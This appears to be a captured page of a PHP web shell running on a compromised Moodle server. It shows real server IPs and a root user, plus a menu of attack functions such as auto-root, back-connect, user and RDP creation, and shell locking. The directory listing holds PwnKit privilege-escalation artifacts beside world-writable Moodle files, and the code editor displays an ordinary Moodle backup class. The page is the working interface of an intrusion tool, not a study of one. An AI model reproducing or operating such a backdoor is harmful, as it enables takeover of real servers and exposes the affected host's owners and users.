Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
lesson /
backup /
moodle2 /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
backup_lesson_activity_task.cl...
3.95
KB
-rwxrwxrwx
backup_lesson_stepslib.php
9.77
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
restore_lesson_activity_task.c...
6.85
KB
-rwxrwxrwx
restore_lesson_stepslib.php
13.28
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backup_lesson_activity_task.class.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains the backup task for the lesson module * * @package mod_lesson * @category backup * @copyright 2010 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot . '/mod/lesson/backup/moodle2/backup_lesson_stepslib.php'); /** * Provides the steps to perform one complete backup of the Lesson instance * * @copyright 2010 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class backup_lesson_activity_task extends backup_activity_task { /** * No specific settings for this activity */ protected function define_my_settings() { } /** * Defines a backup step to store the instance data in the lesson.xml file */ protected function define_my_steps() { $this->add_step(new backup_lesson_activity_structure_step('lesson structure', 'lesson.xml')); } /** * Encodes URLs to various Lesson scripts * * @param string $content some HTML text that eventually contains URLs to the activity instance scripts * @return string the content with the URLs encoded */ static public function encode_content_links($content) { global $CFG; $base = preg_quote($CFG->wwwroot.'/mod/lesson','#'); // Provides the interface for overall authoring of lessons $pattern = '#'.$base.'/edit\.php\?id=([0-9]+)#'; $replacement = '$@LESSONEDIT*$1@$'; $content = preg_replace($pattern, $replacement, $content); // Action for adding a question page. Prints an HTML form. $pattern = '#'.$base.'/editpage\.php\?id=([0-9]+)&(amp;)?pageid=([0-9]+)#'; $replacement = '$@LESSONEDITPAGE*$1*$3@$'; $content = preg_replace($pattern, $replacement, $content); // Provides the interface for grading essay questions $pattern = '#'.$base.'/essay\.php\?id=([0-9]+)#'; $replacement = '$@LESSONESSAY*$1@$'; $content = preg_replace($pattern, $replacement, $content); // Provides the interface for viewing the report $pattern = '#'.$base.'/report\.php\?id=([0-9]+)#'; $replacement = '$@LESSONREPORT*$1@$'; $content = preg_replace($pattern, $replacement, $content); // This file plays the mediafile set in lesson settings. $pattern = '#'.$base.'/mediafile\.php\?id=([0-9]+)#'; $replacement = '$@LESSONMEDIAFILE*$1@$'; $content = preg_replace($pattern, $replacement, $content); // This page lists all the instances of lesson in a particular course $pattern = '#'.$base.'/index\.php\?id=([0-9]+)#'; $replacement = '$@LESSONINDEX*$1@$'; $content = preg_replace($pattern, $replacement, $content); // This page prints a particular page of lesson $pattern = '#'.$base.'/view\.php\?id=([0-9]+)&(amp;)?pageid=([0-9]+)#'; $replacement = '$@LESSONVIEWPAGE*$1*$3@$'; $content = preg_replace($pattern, $replacement, $content); // Link to one lesson by cmid $pattern = '#'.$base.'/view\.php\?id=([0-9]+)#'; $replacement = '$@LESSONVIEWBYID*$1@$'; $content = preg_replace($pattern, $replacement, $content); // Return the now encoded content return $content; } }
Close